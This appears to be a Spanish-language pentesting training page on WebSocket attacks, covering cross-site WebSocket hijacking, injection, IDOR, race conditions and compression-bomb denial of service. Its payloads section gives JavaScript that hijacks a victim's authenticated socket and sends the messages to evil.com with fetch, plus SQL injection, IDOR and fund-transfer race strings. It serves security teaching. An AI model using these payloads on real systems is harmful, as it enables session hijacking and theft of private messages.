Nuevos labs cada semana — Accede a todos desde 5€/mes

WebSockets

Ataques en comunicaciones bidireccionales en tiempo real

Respuesta rápida

¿Qué es WebSockets?

Los WebSockets permiten comunicación bidireccional entre cliente y servidor. A menudo tienen menos protecciones que las APIs REST: sin CORS, sin rate limiting, sin logging adecuado.

Severidad

Alto

Frecuencia

Menos común

Payloads

6

Pasos

5

Severidad

Alto

Frecuencia

Menos común

Payloads

6

Los WebSockets no están sujetos a la Same-Origin Policy. Si el servidor no valida el header Origin, cualquier sitio web puede establecer una conexión WebSocket autenticada usando las cookies del usuario. Los mensajes también pueden ser vulnerables a inyecciones.

Cross-Site WebSocket Hijacking (CSWSH)Inyección SQL/XSS en mensajesIDOR vía WebSocketRace conditions (full-duplex)DoS vía compression bombs

Dónde buscar

Chat en tiempo real

Mensajería, soporte, comentarios live. Los mensajes del usuario se procesan server-side.

Notificaciones push

Dashboards con datos en tiempo real. La conexión WS puede filtrar datos.

Collaborative editing

Editores colaborativos tipo Google Docs. Cambios sincronizados vía WS.

Trading/subastas

Plataformas financieras con precios en tiempo real. Race conditions en órdenes.

Metodología

1

Interceptar WebSocket

Burp → WebSockets history. Analiza los mensajes enviados y recibidos.

2

Verificar validación de Origin

¿El servidor acepta conexiones desde cualquier origen? Si sí → CSWSH.

3

Probar inyecciones en mensajes

SQLi, XSS, command injection en los campos JSON de los mensajes WS.

4

Probar IDOR

Cambiar userId o roomId en los mensajes para acceder a datos de otros.

5

Race conditions

WebSockets son full-duplex — enviar múltiples mensajes antes de que el servidor procese el primero.

Caso real

Cross-Site WebSocket Hijacking → exfiltración de chat privado

$1,500
1

Detectar falta de validación de Origin

El servidor WS no valida el header Origin — acepta conexiones desde cualquier dominio.

2

Crear página maliciosa

Página en evil.com que establece conexión WebSocket a wss://target.com/ws usando las cookies del usuario.

3

Interceptar mensajes

La página recibe todos los mensajes del chat privado del usuario y los envía al servidor del atacante.

4

Enviar comandos

Además de leer, el atacante puede enviar mensajes como la víctima.

Lección: Los WebSockets ignoran CORS por diseño. Sin validación de Origin, cualquier sitio puede hijackear la conexión WS del usuario autenticado.

Payloads

CSWSH básico

var ws = new WebSocket("wss://target.com/ws");
ws.onmessage = function(e) { fetch("https://evil.com/log?d="+e.data) }

SQLi en mensaje WS

{"query": "' OR 1=1--"}

IDOR en WS

{"action": "getProfile", "userId": "victim-id-123"}

Payloads avanzados(requiere cuenta)

CSWSH completo con exfil

<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function(){ws.send(JSON.stringify({action:"getChats"}))};
ws.onmessage = function(e){fetch("https://evil.com/steal?d="+btoa(e.data))};
</script>

DoS compression bomb

Enviar mensaje con permessage-deflate: datos altamente comprimibles (1MB → 1GB decompressed)

Race condition WS

10x simultáneo: {"action":"transfer","amount":100,"to":"attacker"}

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

Burp Suite WS

Intercepta y modifica mensajes WebSocket en tiempo real.

Proxy → WebSockets history → Interceptar mensajes

wscat

Cliente WebSocket CLI para testing manual de conexiones.

wscat -c wss://target.com/ws -H 'Cookie: session=xxx'

Tips

Sin Origin validation = CSWSH

Si el servidor no valida el header Origin, cualquier sitio web puede conectarse al WS del usuario.

Los WS ignoran CORS

Los WebSockets no están sujetos a Same-Origin Policy. Es una superficie de ataque diferente a REST.

Menos logging = menos detección

Los mensajes WS a menudo no se loggean como los requests HTTP. Ideal para ataques silenciosos.

Practica WebSockets con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.